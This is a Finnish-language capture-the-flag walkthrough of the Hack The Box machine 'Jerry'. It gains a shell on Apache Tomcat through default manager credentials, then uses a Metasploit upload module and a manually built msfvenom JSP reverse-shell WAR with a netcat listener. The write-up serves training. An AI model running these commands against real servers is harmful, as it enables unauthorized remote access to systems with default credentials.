Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.10.95 vastaamaan osoitetta jerry.htb.
Tiedustelu
Nmap
nmap -sCV -Pn -p- jerry.htb
Kohteen Nmap-skannauksesta huomataan, että kohteessa on avoinna portti 8080 (HTTP), jossa on käynnissä Apache Tomcat.
HTTP
Selaimella aukaistu osoite: jerry.htb:8080 ja saavuttiin Apache Tomcat -sivulle.
Klikattu sivulta “Server Status” -painiketta, ja esiin tuli kirjautumisikkuna. Kokeiltu syöttää käsin Apache Tomcat:n oletuskirjautumistunnuksia listan mukaan: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat
Onnistuneesti kirjauduttu sisään käyttäjätunnuksella tomcat ja salasanalla s3cret, ja saavuttu sivulle: http://jerry.htb:8080/manager/
Vaihdettu List Applications -välilehdelle. Sivulta huomataan mahdollisuus ladata kohteeseen WAR-tiedosto.
Haavoittuvuuden hyväksikäyttö
Metasploit
Käynnistetty Metasploit ja etsitty exploitia: tomcat_mgr_upload.
msfconsole
use exploit/multi/http/tomcat_mgr_upload
Asetetettu kohteen IP-osoite 10.10.1095 ja portti 8080. Asetettu HTTP-sivun käyttäjätunnus tomcat ja salasana: s3cret. Asetettu oma tun0 IP-osoite.
set rhosts 10.10.10.95
set rport 8080
set httpusername tomcat
set httppassword s3cret
set lhost tun0
Tarkistettu komennolla show options, että asetukset tallentuivat.
Suoritettu exploit ja onnistuneesti saatu shell kohteeseen ja saavuttu kohteen hakemistoon: C:\apache-tomcat-7.0.88.
User ja root flag löytyivat hakemistosta: C:\Users\Administrator\Desktop\flags
Manuaalinen
Koska Apache Tomcat Manager sovelluksessa on mahdollista ladata kohteeseen WAR-tiedosto, tehdään WAR-tiedostomuotoa oleva reverse shell Msfvenomilla:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f war > reverse_shell.war
Ladattu tiedosto reverse_shell.war kohteeseen.
Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 443 (sama portti, kuin reverse shellissä).
Deploy-painikkeen painamisen jälkeen, Application Manageriin ilmestyi Applications alle hakemisto: /reverse_shell.
Aukaistu hakemisto http://jerry.htb:8080/reverse_shell/ ja kuuntelijassa saatiin shell kohteeseen.